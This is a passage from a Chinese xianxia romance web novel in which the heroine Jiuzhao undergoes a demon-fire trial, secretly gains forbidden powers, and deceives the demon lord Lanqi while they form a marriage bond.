身为仙族前神姬,规矩礼节,本身镌刻在她骨子里的东西。 足可容纳数十人的巨大青铜圆坛上, 象征幽冥的业火悬滞不息,九昭于阶面持节默立,那经由兰祁教导, 背诵不下百遍的古业语祷词,自她口中说出,就连最古板的大祭司都挑不出任何差错。 兰祁并立在右,虽目无侧视, 但打心底为她流畅自如的表现感到骄傲。 整个过程持续了一个半时辰。 正午时分, 九昭面不改色看着大祭司命人, 将几颗经过秘法保存的仙族战败将领人头丢进熊熊业火中,以作胜告天地之用, 再同兰祁一道转过身来, 聆听礼官高宣拜祭典礼结束。 阶下,重臣首领分立两端。 仪式完毕, 照例应由兰祁这位君主先行。 礼官话音落下许久, 他却迟迟未动。 事先得到祝晏的提醒, 九昭深知今日之行并非如此简单。 她眼观鼻, 鼻观心, 垂头安静站着, 倏忽听见远处传来一道略显急刻的声音: “尊上,您打算何时让未来尊后接受业火考验?” 声音的主人颇为熟悉,是好久不见的东神王照羽之妹毓灵。 魔族攻下东原,兰祁仍命照羽掌管,他不复神王之名,却成为了三十二城主之一。 千年前,毓灵又在他的做主下,嫁给了出身焚业海老牌大部的第五城主为妻。 如今兄妹两人风头正盛,在群臣之中也颇有名望。 毓灵自恃身份,又与她结有私仇,会跳出来反对,九昭并不奇怪。 她奇怪的是,兰祁在业火考验这件事上的暧昧态度。 昨日她已经表达了自身的意愿,看兰祁的样子也更接近于赞成,今日仪式上他偏偏一言不发,对着急需得到答案的满殿重臣沉默相待——就好像,是在等谁沉不住气跳出来似的。 倘若真是如此。 那么跳出来的对象,符合他的期待吗? 九昭用余光瞟去一眼,见兰祁面上没什么表情,耳畔继续传来毓灵看似忠言苦口的劝告: “尊上明鉴,您要迎娶谁为尊后,臣不敢多言。只是仙业两族为世仇,哪怕臣等也是经过业火的淬炼净化,方才真正被焚业海接纳——尊后与您共同享有至高权力,那个位置若是流有仙族血液的女人坐上去,无异于一种背叛,大战在即,恐会激起民众的不满情绪。” 毓灵之所以言语如此直白,不仅仅因为她拥有底气。 更在于,这些话是各位臣子的心中所想,那日寂无宫书房内劝诫不成。 此刻象征先业尊的圣火之前,他总要给出交代。 兰祁的神容依然淡漠,看也不看毓灵道:“九昭方从无日渊出来不久,身体不好,需要精心调养,待她恢复如旧,孤自会让她经受业火净化,距离成婚尚有一段时日,卿竟是片刻都等不得了吗?” “臣不敢。” 毓灵跪倒在地,“只是非我族类,其心必异。尊后曾是高高在上的仙族神姬,从来看不起业族,若连转化成为业族的仪式都要一拖再拖,很难叫臣等相信,他日兵戎相见,她会不偏心自己的母族。” “好了,阿灵,尊上做什么都是自有他的考量。 “娶谁,不娶谁,也都是为了焚业海的胜利罢了,你快向尊上告罪退下。” 暗怀鬼胎的和事佬,是照羽做惯了的角色。 他看似呵斥毓灵,实则把最要紧的一点透露出去。 兰祁娶她,无关爱意,仅仅出于利用。 …… 他们是如何看待她的呢? 以为她还是过去那个没有爱就活不下去的天真少女。 以为兰祁救她出来,为她设连理殿藏娇,驱逐挑衅女官,亲自陪她夜游,是将爱当做谎言,架设了一个陷阱,骗她心甘情愿同他成婚,奉献残躯的最后一点血脉价值。 他们不想叫她过得好。 哪怕活在虚幻里也不行。 一定要在今日,用业族大义架起兰祁,迫他亲自下令,将她投入业火中。 叫她失望。 叫她清楚自己的身份。 叫她醒悟这世上从无真正可依靠之人。 想通了这点,九昭忽然想笑。 “原来我在你们心中,始终是这个样子啊。” 她用极低的声音自言自语。 “什么?” 兰祁一时没有听清,却见她向他依偎过来的身影,像是风雪中踟蹰独行的小兽寻找着庇护。 “这天大地大,我已无处可去,也从未说过不愿转化成为业族。 “只是业火淬炼,九死一生,我身体虚弱,兰祁怜惜我才会推迟几日而已。 “身为臣子,你何必对君上如此咄咄逼人? “想要我完成考验,我此刻跳下去便是。” 九昭此生,还没有过扮绿茶装可怜的时候。 但瞧着城府更浅的毓灵陡然变了的脸色,便知自身于此道上天赋不错。 她借着兰祁身躯的遮掩,悄悄握了握他的手。 接着向后疾奔几步,一跃而起,如扑火的夜蛾般,放任暴涨的寒焰吞噬了自己。 …… 无孔不入的阴寒,是九昭最先感受的东西。 业火之内,仿佛另一个与世隔绝的空间。 她尝试打量四周,遐迩俱是散发着点点荧光的幽蓝火焰,听不清,也望不见外界。 受唯一光源的吸引,九昭不由自主多看了那附着火焰的荧光两眼。 下一瞬,荧光冷不丁朝她汇聚过来,一颗颗全无血肉的苍白骷髅从中跃出。 怨力、魔气、仙灵……骷髅空洞的眼眶逸散开各异的力量。 九昭后知后觉意识到,这应当是过去每一次拜祭时投入业火的奠品。 战败的仙族,反叛的魔族,或许还有被他们从芸生世掳来的人族。 骷髅张开嘴,寒冷至极的火焰烧毁她的衣衫,沿着每一处肌理如择人而噬的蚁群般钻进。 九昭浑身僵硬刹那,随即难以言喻的痛楚直逼她的百骸。 “尽量放轻松身体,不要抗拒业火的力量。 “让它在你的体内游走一个周天,你越快接纳它,就能越早结束净化。” 兰祁的前人经验言犹在耳,九昭咬牙适应片刻,发觉或许是在无日渊时,身体早已习惯了雷罚的痛苦,这魔族人人谈之色变的业火酷刑,承受起来也没想象中那么难捱。 既然不至于痛到失去意识,她便要完成此行前来的目的。 她于灵台召唤出人面龙身的青年。 目光恳切地对他说道:“巫逐,我需要你的力量……帮帮我。” “哈,又是这类似的地方。” 青年嘿笑一声,“当年凤凰神树内,唯有你和我,我真怀念那样的时光。 “牡丹花下死,做鬼也风流。” “少在这里贫嘴,再多说两句,我也该被烧成灰了。” 九昭的手作势在他身上一拍,指尖穿透幻象,只触及一片虚无,“力量,你借不借我?” “你我之间,何须提‘借’这个字?我的便是你的,你的也是我的。” 见九昭的语调极为严肃,巫逐收起不羁笑意,下颌微绷,神容正色之间,带着点温柔的怀念,“真好啊,这么多年过去了,终于能再一次抱到你。” 语毕,他张开手臂,将九昭拥进怀里。 象征力量的光亮从两人相触的身躯处渗透出来。 起先如同小溪,流势逐渐磅礴,最终将彼此彻底吞没。 179| 第179章 ◎“我可以。”◎ 仙力重新贯通在断裂的脉络间。 那种过度的充盈, 和灼热灵息反复碾压伤处的剧痛,令九昭佝偻着腰肢,手脚不停抖颤。 糟糕的不止如此。 随着力量的回归, 那些被九昭埋葬封印的爱恨, 也再度回归脑海。 她强忍目眩神迷,用力咬住舌尖,迫使意志清醒,对准如蚕茧般裹覆四周的冷焰探出左手。 下一瞬, 五指伸展到极致,赤红凤火顿时变作铺天盖地的罗网,自掌心尖啸而出。 骤然遭遇进攻, 渗进九昭肌体的业火立即撤出不少,它悬浮在九昭近处,抵抗着那股试图将自身吸入手掌的巨力,与此同时, 飘散在周围无知无觉的荧光, 亦在业火的呼唤下融入其中, 壮大力量。 时间推移,对冲的光束越来越粗壮, 攻势也越来越猛烈。 局势无声反转, 阴寒的冷意倒过来,不断掠夺涅槃凤火的热度。 身体处处都在超负荷运转, 眩晕成倍加重, 痛楚逐寸肢解九昭的血肉, 濒死之感阵阵袭来。 要死在这里了吗? 她艰难询问着自己。 意志滑向死寂的深渊, 心头却徘徊着说不清道不明的遗憾。 所以在遗憾什么? 难道诚如巫逐所言, 她终究是想活的吗—— 困惑浮现, 无人能够给予答案。 两眼俱黑之际,一道没来由的女声出现在她的灵台: “你为何想要驾驭业火?” 九昭涣散的神志一顿。 这是幻觉吗? 都说人在死亡之前,会重新看到听见内心深处的执念。 既是幻觉,也无谓说谎遮掩。 她诚恳地回答道:“我想要、复活两个人。” “复活两个人?” 重复一遍九昭的答案,女声倏忽笑了,“你可知,业火只能杀人,不能救人。” “经历洗髓伐骨的仙族,可以变成业族活下去—— “那不正是业火赋予他们的二次新生吗?” 女声微微提高声调,反问:“活下去和活过来能一样吗?” 痛楚占满大脑,促使九昭无力思考。 她张了张嘴,耳畔又传入女声径自继续的话音: “况且那些转变成魔的仙族为了活下去,更是支付了巨大的代价—— “原本穹煌赐予他们的身体更轻盈洁净,哪怕无法彻底根除欲念,亦有理智坚定的头脑可以作为抗衡。他们放弃了更加长寿的生命,更加出众的天赋,堕落成为业族,成为依靠怨气活着的怪物,不见天日终年生活在黑暗之中,为欲/望所左右,稍有不慎,便会犯下嗜血逞凶的罪孽。 “活下去已然要牺牲如此之多,你自己想想,活过来又要付出什么?” 九昭并未产生半分怯意:“若代价只需我一人支付,你不妨说说看是什么。” “你倒是个不愿连累无辜的好人。” 名为夸奖,女声的语调实则透着鲜明嘲讽。 九昭只觉灵台虽空,却仿佛有人于虚无处睁开双眸,打量了自己一眼,“也罢,看你练成了涅槃凤火,我便告诉你,万物奉行阴阳,业火为阴,凤火为阳,两者交融,是能够逆天而行,重塑性命。” 杏杳的假设竟是真的! 震惊之外,九昭急探知二火应当如何结合,女声却并不给她开口机会,再度冷笑:“但被你复活的也会和你一样,变成仙不仙魔不魔的异类,依靠你的生机而活,每隔七日就要吸收一次你的力量。 “另外,就算掌握了力量,想复活一个人也并非那么简单。你需要回到他们死去的地方,召来他们的魂魄一问,当然,行此举的前提,是他们的神魂必须存在于世,若有活的意愿,方可活—— “若魂魄不复,或自己不想活,那也是无用的。 “我不知道你想复活的人死了多久,但想来超过几个月,魂魄就应该散尽了。 “如此,你也还想要尝试?” 安静听完女声的叙述,九昭的追问因持续的痛楚显得有些含糊: “……所以,我需要付出的代价是什么?” “你这个人还真是油盐不进!” 女声暴躁起来,衬着周围簇拥的苍白骷髅,益发阴沉可怖,“每复活一个人,你不仅要付出生机,更需要割肉、放血、取骨,替他们塑造一具肉身!不可以用他人的血肉代替,必须取自你的身上—— “否则会出现力量与身体相互排斥,自爆而亡的下场! “且仙有仙道,魔有魔路,强行掌握两族力量在手,它们只会如野兽争夺地盘般,在你体内不断厮杀,终致分出胜负!过去阙昶也是从我这里得到了业火之力,她身为业族的血脉,尚且无法招架业火的侵蚀太久,换你这副千疮百孔的躯体顶上,只会更加短命——这些,你全部都可以接、受、吗?!” 有人怕痛。 有人怕死。 有人怕日思夜想者复活过来,变得面目全非。 有人怕被亲友母族排斥,成为天地间的孑孓独行者。 女声口中需要支付的代价不可谓不沉重。 她等待着九昭退缩。 毕竟一时之痛尚且可以忍耐,又有几人心甘情愿为他人承受漫长的折磨到死。 她甚至操纵着业火退出了九昭的身体,为她减轻疼痛,好叫她充分考虑清楚。 然而时间点滴流逝,良久的沉默过后,九昭却道: “我可以。” “……” “哈。” 女声又笑了。 九昭可以想象,如若她有实体—— 说不定会居高临下站在自己面前,用细长的指尖指着自己的鼻子,目光包含无尽的讥讽。 她再次说了句“也罢”,像个局外人旁观者般悠悠叹出口气:“人总是不撞南墙不回头,待你品尝过那种滋味,迟早会发现,成日惦记着偿还亏欠、承担责任根本没有任何意义。 “这个世道,唯有死了或是没心没肺的人,方能活得逍遥自在。” …… 这番话道尽,她取走了九昭身上最后一根本命翎,并将其称作提前收取的酬金。 声音退出灵台,只剩九昭睁着失神的瞳孔,悬浮在原地。 融合阴阳二火,以及复活亡者的功法自动涌现脑海,如镌刻在石碑上的文字般深刻且了然。 九昭很想告诉自己,这只不过濒死之际,为了叫内心过得去而随意编撰的妄言而已。 可集中意志浏览完功法的小部分内容,她又发觉字字玄妙,绝非她所熟读的任一秘籍可堪比拟。 依照功法的指引,改变仙力运转的轨迹,第二次尝试接触业火。 那原本逼催骨血的阴寒渐渐消散,如初冬时分的凉雨般沁入脉络,与凤火完成合二为一。 然而这合二为一,并非真正意义上的合二为一。 九昭的身体时冷时热,脉络的断裂之处,常常体会到冰火两重天的刺激。 不过许是初次入体,侵蚀症状尚能承受。 九昭打坐入定一个周天,魔气和仙力逐渐交融,达到了暂时的平衡。 感受着力量突破极限,节节攀升,各处的残缺不再是沉重的负担,占据着一半体魄的涅槃凤火蠢蠢欲动地起伏着,向她宣告只消一个念头流转,它便能游走四肢百骸,修复缺陷,助她完成更上一层楼的涅槃重生。 这是何等神奇、浩瀚、强大的伟力。 九昭终于克制不住好奇,呢喃道:“你到底是谁……” 谁知那看似消失的女声去而复返,回荡在层层骸骨之中:“你也可以叫我穹煌。 “另一个,被分裂出去的穹煌。” 180| 第180章 ◎“倘若我将兰祁杀了呢?”◎ 良久。 一条纤细的手臂, 突然从燃烧的业火内伸出,攀在圣坛边缘。 肌肤雪白,手背处青紫筋脉迸出, 仿佛简单一个动作, 已经耗尽全力。 接着,以硬质坛壁为支撑,赤/身/裸/体的九昭缓缓爬了出来,抖索着朝下方台阶堕去。 想象中的冰冷坚硬没有袭来, 她坠入一处沉香萦绕的柔软之中。 这柔软的承托,交织着禽羽的顺滑和棉绒的厚实。 九昭睁开眼,发觉自己躺在兰祁的臂弯间, 通身被他常穿的那件玄色鹤氅包裹。 殿宇空阔,阒寂无人。 雪风拂过显露在外的面孔,九昭打了个寒颤,轻声道:“好冷……其他人呢?” “从前你只怕热, 从来不怕冷的。” 兰祁感慨着, 手指钻入大氅, 摸索到九昭腿肘附近的脉络,一面用眼观察她转为漆黑的瞳孔, 一面向她体内输入一丝魔气, “我叫他们先回城了,下次再遇到臣子不恭, 你不必与他们客气退让, 直接传令将他们传出去也无妨, 你是我的妻子, 也是焚业海的另一位主人, 与我享有同等的权力。” 九昭装作一无所知地敞开身体, 放任魔气穿梭在骨血脉络。 胸膛起伏几许,忽而勾起揶揄笑意:“我总要配合你,好叫你知晓那些人恭顺伪装下的真面孔。” 兰祁不语,唯有凤目深处闪烁着微微的光彩。 魔气快速游走完毕,确认九昭顺利完成了脱胎换骨,业火将她体内仙力吞噬得一丝不剩。 他把九昭揽得更紧了些:“等你身体恢复过来,我便用涅槃凤火为你续脉接骨——从此以后,你便可以安心生活在焚业海,借助怨气继续修行。” …… 没有裹身的衣衫,九昭是被兰祁一路抱回连理殿去的。 他留下句“好好休息,晚点再来看你”便自去处理政务,九昭从捧着裙裳首饰进来伺候穿衣的女婢口中得知,自己跳进业火不多时,一贯喜怒不形于色的兰祁大发雷霆,命人将对尊后出言不逊的毓灵和为妻子求情的第五城主拖了出去,整整一百棍,棘刺横生的铁棍上附有魔气,打得两人皮开肉绽。 不在床上休养十天半个月,绝对下不了地。 九昭心下嘲讽,面容却刻意浮现出几分动容。 捕捉到她表情的变化,自觉猜中主子心思做了件对事的女婢满脸雀跃。她小心侍奉完毕,弯腰喜滋滋行礼告退,照例替九昭掩上殿门的瞬间,幻想着自己来日也能寻得如兰祁一般护短温柔的夫婿。 而身为被羡慕对象的对象,笑意停留在唇畔不及刹那,九昭重归面无表情。 她靠在床上缓了片刻,待身体气力稍稍恢复过来,立刻盘腿闭目,进入神定状态。 灵台内,龙身形态的巫逐也颇为虚弱。他气息沉沉地蜷趴在地,尖长龙吻中发出人声:“世事的变化还真奇妙,自阙昶之后,竟是你这位仙族神姬掌握了魔族的最大杀器。” “幸好你寄居在我的体内,否则经过业火淬炼,出来仍是仙魔一体,我都不知该怎样欺骗兰祁。” 九昭道完感谢,巫逐又提及几处心中的忧虑:“一刻前,我分明感受到了兰祁探入你脉络的魔气,游走完一个周天,他便半点都没有察觉业火离开圣坛,已然归你所有吗?” “我也未料到事情会如此顺利,等穹煌操控业火进入我的身体,我才想起祝晏说过,那圣火为阙昶的武器化成,若我取走,圣火灭了,岂非叫魔族立刻发现端倪。 “可当我仔细观察那些散落在周围的荧光,我脑海中忍不住又多了个猜测。” “什么猜测?” 巫逐追问。 九昭不紧不慢道:“你认为,身为阴火的业火,从何而来呢?” 巫逐一怔:“难道不是来自地底的无名恶火吗?” “不,并非无名。 “我在荧光里触碰到了来自不同种族的力量,以及他们临死之际的怨念和恶意——而业火与我战斗,为了确保能够战胜我,它又在与我角力的过程中,不断吸引荧光来到近处,再将它们吸入其中。 “为此,我猜测,业火的形成,源起怨念,它的壮大,更少不了怨念的加持。 “圣火坛设立万年,每次拜祭仪式,都能享受魔族奉献的祭品,业火的强盛程度早已今非昔比。 “我取走一部分,应当影响不了它什么。 “后来事实证明,果真如此。” 历经艰险困苦,又身陷囹圄多年,九昭的敏锐程度更是今非昔比。 巫逐下意识露出赞赏神色:“兰祁那里呢?你怎么知道他发现不了的,还没告诉我。” 九昭瞥他一瞬,淡声解释:“我活到现在,也没什么不能失去的了,全无筹码的赌徒,才最不顾一切。横竖都是押上性命,我想业火钻出地壳噬人,总是来得毫无征兆,若魔族真有办法能够提前预防,也不至于千万年来都深受其苦,既然无法预防,就说明无从探验感知——在我体内,不也一样?” 寄生在业火中的穹煌道,阴阳二火相遇,势必不死不休。 她的身体难以承受两股至高力量的厮杀。 索性一分为二,一半给她,一半给巫逐。 谁叫她是个一体双魂的怪物。 修炼万年的仙力,连同半身神力和涅槃凤火,尽数封印在巫逐身体。 表面上,她看起来只是个通过业火净化,奈何脉络残破,万事需要从头来过的新生魔族。 很好,一切都能够说得过去。 反正,到瞒不住的时候,她大约也不会还留在这里。 阴冷火焰如夜行的恶灵般游荡在骨血中,触及断裂的经脉,带来直钻骨髓的痛意。 九昭眉目扭曲一瞬,又很快隐忍下去。 她拥有较往昔更加强大的凤火,想要修复伤势自是易如反掌。 可她不能。 此举固然有不引起兰祁怀疑的用意在—— 但某个须臾,她也不得不承认,疼痛比麻木更叫她体会到自己原来还活着。 “接下来,你有什么计划?” 消化完她每一步的分析和筹谋,巫逐再度开口。 左右人意志的悲欢爱恨,已随着力量的返涌,回到他的体内。 九昭平静而笃定地说道:“当然是把欠着的,都还了。” 巫逐面现迟疑:“凭借你现在的实力,别说杀回三清天,想从寂无宫脱身,都很难。” “——倘若我将兰祁杀了,夺回另一半凤凰真血呢?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 180-190 181| 第181章 ◎“能帮到你,我很欢喜。”◎ 经过净化, 九昭的身体脱胎换骨,又有业火这一道高速吸收四方怨气,转化为力量修复伤势的强大助益在, 仅仅卧床休养几日, 她苍白的面色便重现红润,不复旧日虚弱之态。 见她好了起来,兰祁也颇为高兴,提及要借助“灵缠”为她接骨续脉。 仙魔, 乃同源而生。 兰祁口中的“灵缠”,近似于三清天仙侣之间的合修。 在彼此亲近信赖,敞开神魂的状态下, 涅槃凤火将起到事半功倍的治疗效果。 兰祁本以为说起此事,九昭会因自身恢复有望而心生欢喜。 岂料在详细了解灵缠的整个过程后,他却在她的脸上,窥见了一丝抗拒。 她竟然不愿意。 念头在脑海无声出现。 紧接着, 心脏像突然扎进钢针似的, 传来一阵刺痛。 身为君主的多疑, 本能地取代了受伤情绪。他仍在弯着秀美的眼梢,柔和微笑, 只是冷不丁俯落颈项, 望着她的瞳孔问道:“你我即将成婚,昭昭对稍微亲密点的行为也不愿意吗?” 问这话时, 兰祁的音调, 既缓又轻。 倘若非要形容, 九昭只觉仿佛夹杂着雨水的霜雪, 落进衣衫缝隙化了, 寒意犹在, 更添黏意。 他的目光所及之处,一切都覆上层阴郁的湿漉感。 九昭假装没听出他的试探,将眉眼间的抗拒酝酿得越发鲜明。 待兰祁的眸光更沉了些,才吞吞吐吐说道:“……你还记得,我上次问过你什么吗? “我问你,是巫劭还是兰祁。 “你说你是兰祁,可那年桃林留春宴,我亲眼见过他从你的体内冒出来,要杀了我。 “一想到我们亲近的时候,他会在蛰伏在暗处,冷眼旁观着,我就觉得很奇怪。” 视线交汇的刹那,九昭并不回避。 迎着兰祁暗含审视的双眼,她将一番话说得推心置腹。 不是抗拒亲近,而是在意与他共用身体的巫劭。 这叫兰祁的心情多少放晴了些。 斟酌几息,他道:“你放心,巫劭正处于沉眠状态,听不见也看不见什么的。” “那以后呢?我们还有很长的日子要共度。 “要是他突然醒过来,单看外表,你们一模一样,我根本分辨不出来—— “若哪天我对着他这个名义上的舅舅,不小心喊了声夫君,那真的要找个地缝钻进去了。” 说着说着,九昭堪堪拥有了点血色的面颊红意弥漫。 仅是提出假设在脑内过了一遍,反应便真实得好似亲身经历。 从她不自觉睁圆的眼睛,看到她揪着衣带缠绕成圈的手指,兰祁微微偏首:“你真的很介意?” “好比,我的体内共存着我母亲的元神,且有天她趁我入睡出现同你对话过。 “你也会觉得别扭不是吗? “怀中人到底是妻子还是岳唔——!” 兰祁抬手,捏住九昭张合的唇瓣,不叫她再继续说下去。 这个比喻如此生动鲜明,饶是兰祁身经百战,见过无数大风大浪也难免悚然。 插科打诨的气氛,消弭了横亘在两人中央的一丝猜忌。 指腹陷入唇肉的触感温热,咫尺处,即将新婚的妻子不错眼地注视过来,眼眸晶亮而柔软。 兰祁自诩冷硬的心亦被这一瞬所触动。 他滞了滞,难得对九昭透底,说出句实话:“等过些时日,巫劭大约再也不会醒来了。” 九昭不是傻子。 她读懂了兰祁言语深处转瞬即逝的杀意。 也对。 谁又会真的愿意和外人共用一具身体呢? 巫劭神魂虚弱,力量强大,兰祁力量不足,神魂却十分坚韧。 他们这一对的共生关系,处在微妙的平衡当中,明面上互帮互助,实则想的是相互吞噬。 九昭不清楚巫劭缘何会陷入沉眠。 但平衡既然被打破,料来兰祁不会放过这个难得的机会。 不过想要诛灭巫劭,窃取他的力量,又岂是那么容易。 兰祁就算能够成功,也绝对做不到全身而退。 如此甚好。 狗咬狗,一嘴毛。 为她计划的推行又增添了几分胜算。 九昭适时眨动睫毛,掩去冰冷的算计。她反握住兰祁揉捏自己唇瓣的指尖,稍稍退后,留出温情言语的间隙:“待我断裂的血脉修复如初,能够解封凤火,是不是就可以帮到你战胜巫劭?” 兰祁迟疑,略一颔首。 是,结契交合固然可以自由取用九昭的真血之力,但要在脉络完整,力量顺畅运转的前提下。 于是,九昭笑了起来,展臂抱住他的腰身: “好,能帮到你,我很欢喜。” 182| 第182章 ◎“不忘此宵,永以为好。”◎ 确认九昭的身体情况, 足以承受续脉接骨的疼痛后,兰祁开启灵缠,为她医治。 他虽掌握了涅槃凤火的最高阶功法, 但到底隔着一层, 没有巫劭的元神占据意志代为施展,整个治疗过程分了三次——三日为一次,整整九日过去,兰祁耗费不少力量, 九昭方才恢复如初。 …… 火光于掌心熄灭,兰祁重新打坐入定,平息着血脉中因魔气激荡而带来的滚烫热意。 待瞳孔猩红褪去, 他睁开双眼,看向虚弱倚靠在床栏的九昭。 “好,该做的事情我都为你做了。 “你的脉络已无枯萎断裂之处,只等习惯吸收怨气化作业力流于体内, 便可尝试冲击凤火封印。” 他单手勾住九昭纤盈腰肢, 将其揽到自己身前, 一面告知可以重新修行的好消息,一面用指腹缓缓揩去她眉梢眼角的水光, 少顷, 清洁术的光芒闪过,九昭被汗水浸透的后背衣衫归于舒适洁净。 九昭没什么力气, 幼鹿般柔顺趴伏着, 静静聆听青年略显激烈的心跳声。 “嗯, 且让我先缓一缓, 我定会赶在成婚前揭开封印, 以便助你。” “不急。” 臂弯充斥着软玉温香, 耳畔尽是信赖支持的话音。 一切都美好到胜过梦境。 兰祁的眸光益发温柔,一下一下抚摸着九昭鸦色的长发。 两人在床榻温存半晌,他想起另外一件事:“对了,有件礼物要赠与你。” “是什么?” 九昭也十分配合地装作好奇。 兰祁不语,只面朝殿门打了个响指。 不多时,几名训练有素的宫人,手捧黑木托盘,垂首躬身进入内殿。 九昭的注意力瞬间被一抹格外华彩浓郁的颜色吸引。 “焚业海虽崇尚深重之色,但我觉得,你穿上这赤红一定很美。” 有外人在,兰祁也不肯放开九昭。 他环抱着她换了个方向,以自己的胸膛为枕,顺便使了个眼色给宫人,命她们捧起托盘里叠放的婚服,继续补充道:“你我袍服皆为同色,我特地让最好的织造官,在你的裙摆上绣出凤凰神树和五色翎羽的纹样,你看看喜不喜欢,若哪里觉得不满意,我再叫他们修改。” 微妙的不真实感涌上心口。 九昭的眼底闪过如夜雾一般的恍惚。 她只觉得这件婚服似曾相识。 努力思忖几息,发觉它的式样像极了晋升天仙的考核时,幻境中的心魔兰祁绘在画卷上的那件。 “我都跟无咎商量好了,还你女君的名位。 “既成为业族,便和三清天斩断了所有关系。 “从此以后,你是我的妻子,是凤凰族的女君,是整个焚业海的尊后,再也不会无枝可依。” 女君当然只是虚名。 凤凰族堕天万年,不会再听从她这位曾经主人的号令。 但相较仙族罪臣、废储君,已经算得上光彩的名头。 同九昭隔阂有所消弭后,兰祁便找无咎提起过此事。 更想好了拿足够令人动摇的利益交换,以表明他重视九昭之心。 起初,如他所料,无咎坚决不同意。 言及神后太婀背弃族人在先,九昭仇视羞辱他们在后。 若恢复女君身份,恐怕会引起全族抗议。 但不知怎的,自打上回陪伴九昭出游一次,他的态度突然含糊起来。 最后竟半推半就默认了。 仅道虚名而已,他为男子,不欲与九昭过多计较,只要她此后不参与族事,指手画脚就好。 兰祁应允。 他尽最大可能为九昭争取到了新的开始—— 有他站在前面挡风遮雨,有神后和凤凰女君双重尊荣加持,她既能够高高在上,喜乐无忧地过完一世,也不会再如过去那般被储君的位置束缚,却对事对人始终狠不下心,临了落得个惨淡收场。 兰祁沉浸在自己为九昭构建的安稳想象中。 又听见九昭嗓音越发低顺地说道:“好,什么都听你的,我只想安安稳稳披上嫁衣。” …… 年少做过的,关于权力、鲜花、爱侣的美梦。 终究实现于当下。 堵在心口的最后一丝不安彻底放下。 嫁衣制成的第三日,他答应了九昭的邀请,留宿连理殿。 当夜,鸾/凤/颠/倒,色/授/魂/与。 除去衣衫桎梏,发/肤皮/肉亲密无间贴合,如水溶于水,两个独立的灵魂,此刻浑然一体。 在剥夺呼吸,淹没至顶的极乐中,兰祁忽然想起,距离上一次如此拥抱九昭,已过去将近万年。 帘帐半遮半掩。 他再度望见九昭为红意充斥的眼。 只不过,这抹红不再象征嗜杀、混乱与邪恶。 它是湿润的、艳丽的,从旖然的漆黑中流淌出来。 交汇成一条河,一条他甘愿终生沉溺的河。 …… 兰祁早有过命令。 留宿的夜晚,无需宫人守在殿外,尽数四散开来。 偌大的殿宇,除却一对忘情的伴侣,唯有笼中的白狐雪宝无声蛰伏,将一切尽收眼底。 …… 顾及来日方长,九昭暂时吃不消这时隔万年的汹涌思服,兰祁只做了两次便罢手。 两人仍留有余力,头足相抵交缠在一起,说着床笫间的私语。 “我们提前结契吧。” 九昭的言语尽处,犹带细细喘/息。 兰祁顿了几瞬,才找回自己的声音。 他问道:“为何?” “婚礼并不是结契必须要经历的过程,它的目的只在于昭告两界,你迎娶了我为尊后而已。” 九昭的视线从兰祁脸上移开,看向烛灯映照范围外的黑暗之处,“这场婚礼,于三清天而言是一场极大的羞辱,哪怕只看焚业海,也并无几人会献上真挚祝福—— “既然婚礼意义不纯,倒不如我们两个先结契吧,日月为媒,天地共鉴,保留它应有的美好。 “况且,我不认为一统在望,焚业海就会时时刻刻太平,你我结契,你瞒过众人,提前将真血之力合二为一,可以早日完成战胜巫劭心愿,也可提防一些心怀不轨之徒。” 兰祁摩挲臂膀的指尖陡然一停。 此话不可谓不是站在他的立场,全然替他着想。 无法轻信的天性,促使他朝无数个阴暗的方向发散。 譬如,他可以利用九昭的真血之力,九昭自然也可挪用他的。 可他借着灵缠,一直都在探查九昭真正的身体情况。 依照她恢复的速度,哪怕再过千年万年,也做不到将他压制。 再譬如,他更会思忖,九昭做出种种行为,是不是为了叫自己彻底爱上她。 那样,伤害桎梏的法术就会失去所有效力,或许她会找机会刺杀他。 可一旦结契,不管何时,他都能一弹指抽尽她的所有真血之力。 除非她的身体里,存在着其他的血脉和力量—— 那么,问题就倒回了起初的假设。 他已仔仔细细检查过好几次,若真的存在,不可能逃过他的魔识。 所以。 九昭提出结契,应该是出于感情吧? 一定是的吧—— 一路厮杀至今,又有几人如同她一般甘愿为他奉献全部。 难言的感动阻塞喉舌。 兰祁可以用崇高的伟愿说服一个顽固的臣子,却无法于此刻吐出只字片语说明心意。 他无声坐起身来,侍候着九昭穿好衣衫。 紧贴的炽热躯体分离,带起一阵无尽的空虚。 他一壁为她穿着,一壁又俯落秀美的头颅,如成瘾者般在她的面孔颈项间胡乱嗅吻。 许久。 他沙哑着嗓音:“走吧,我带你去个地方。” 九昭来不及问去哪里,传送阵陡然出现在两人身下。 视野陷入不见光的冥昧中,再一回神,他们站在与寂无宫衔接的料峭崖壁上方。 头顶是硕大的圆月。 丈外是散发着和业火相似的阴寒气息的高大树木。 这树模样十分奇特。 没有绿叶,没有花朵,取而代之的,是一小簇一小簇,枝桠上摇曳生长着的黑蓝色荧火。 “这是熹木。 “是初代业尊阙昶死亡时,散落的无数元身碎片化作的树木。” 熹,意为光辉明亮。 这种鬼泣森森的植物,用此字还真有点格格不入。 九昭没腹诽完,便被兰祁攥紧手腕,带领着朝树下走去。 “连理树那样娇贵易损的东西,没法在焚业海贫瘠的土壤中存活。 “我想,用熹木也是一样。 “业族皆知,不可轻易许诺。 “若承诺发生在熹木下,便不可反悔,否则终有一日,失信者必将被业火吞没,尸骨无存。” 兰祁轻轻道出带着浓重血腥气的焚业海族令。 转而侧过头来,迎着皓明的圆月,与九昭呈对望之势。 “我,焚业海之主,兰祁在此起誓,终生爱你、敬你、与你再不分离。” “我的感情恰似这永不熄灭的业火,绝无穷尽之日。” 在庄重到虔诚的誓言中,他的手与九昭的手上下交握。 同为赤红的本源之力化作半透明的纤细丝线,穿透肌肤皮肉,没进跳动不息的脉搏。 象征着情契缔结。 九昭动了动嘴唇,想要说话。 她看着兰祁为情所惑,动容闪烁的眼睛,后知后觉勾起一抹相符的笑意。 “不忘此宵,永以为好。” 183| 第183章 ◎“如果可以,我多想伺候你一生一世。”◎ 业尊立后的大典隆重, 需要选出一男一女两位仪官,手捧象征佳偶天成的乌璧走在前方。 仪官的人选并无特别规定,或拣亲族, 或择重臣。 兰祁来找九昭商量, 问九昭有无属意之人。 待选定之后,则传他们进宫拜见,且此后暂居宫中,熟练仪程, 直至婚礼当日到来。 九昭也没客气,大大方方道:“不如就选祝晏琼星——整个焚业海,我只对他们熟悉些。” 兰祁瞥她一眼:“你倒不怕我吃味。” 虽为试探, 青年的语气却近乎打趣。 